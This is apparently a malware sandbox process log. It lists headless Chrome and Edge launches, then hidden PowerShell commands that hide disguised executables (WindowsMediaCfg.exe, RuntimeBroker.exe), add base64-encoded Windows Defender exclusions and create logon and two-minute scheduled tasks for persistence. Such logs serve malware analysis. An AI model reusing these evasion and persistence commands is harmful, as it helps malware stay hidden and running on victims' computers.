    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x1bc,0x1c0,0x1c4,0x198,0x1c8,0x7ff975bec728,0x7ff975bec734,0x7ff975bec740
    3⤵
    PID:3240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2120 /prefetch:2
    3⤵
    PID:1396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --force-high-res-timeticks=disabled --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:13
    3⤵
    PID:3648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:1
    3⤵
    PID:472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:1
    3⤵
    PID:2888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
    3⤵
    PID:580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:9
    3⤵
    PID:2940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:9
    3⤵
    PID:3520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:9
    3⤵
    PID:2752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3204240763531" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=2124,i,16112135182954699724,7931686489460174270,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4080 /prefetch:1
    3⤵
    PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe" 2>nul'"
  2⤵
  PID:2476
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2376
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe
      4⤵
      Views/modifies file attributes
      PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABNAGUAZABpAGEAUABsAGEAeQBlAHIAXABcAEMAbwBuAGYAaQBnAFwAXABXAGkAbgBkAG8AdwBzAE0AZQBkAGkAYQBDAGYAZwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:3652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFcAaQBuAGQAbwB3AHMATQBlAGQAaQBhAEMAZgBnAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:4220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsMediaCfg" /tr ""C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:3968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:252
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsMediaCfg /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2364
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsMediaCfg /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsMediaCfg_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:1668
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsMediaCfg_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2488
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsMediaCfg_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service" 2>nul'"
  2⤵
  PID:1140
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1124
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service
      4⤵
      Views/modifies file attributes
      PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFwAXABTAGUAcgB2AGkAYwBlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe" 2>nul'"
  2⤵
  PID:4948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1072
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe
      4⤵
      Views/modifies file attributes
      PID:3112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFwAXABTAGUAcgB2AGkAYwBlAFwAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:2664
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5528
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:2124
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2192
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --no-sandbox --no-first-run --disable-gpu --disable-extensions
  2⤵
  PID:2724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge2724240768984 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge2724240768984\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x27c,0x7ff96027c188,0x7ff96027c194,0x7ff96027c1a0
    3⤵
    PID:580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:2
    3⤵
    PID:3524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:13
    3⤵
    PID:1132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:2680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:1
    3⤵
    PID:3720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
    3⤵
    PID:6060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:9
    3⤵
    PID:6036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
    3⤵
    PID:1360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:9
    3⤵
    PID:1832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
    3⤵
    PID:5688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:9
    3⤵
    PID:4284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2228,i,11619035172321461257,11085949076545067415,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
    3⤵
    PID:4144
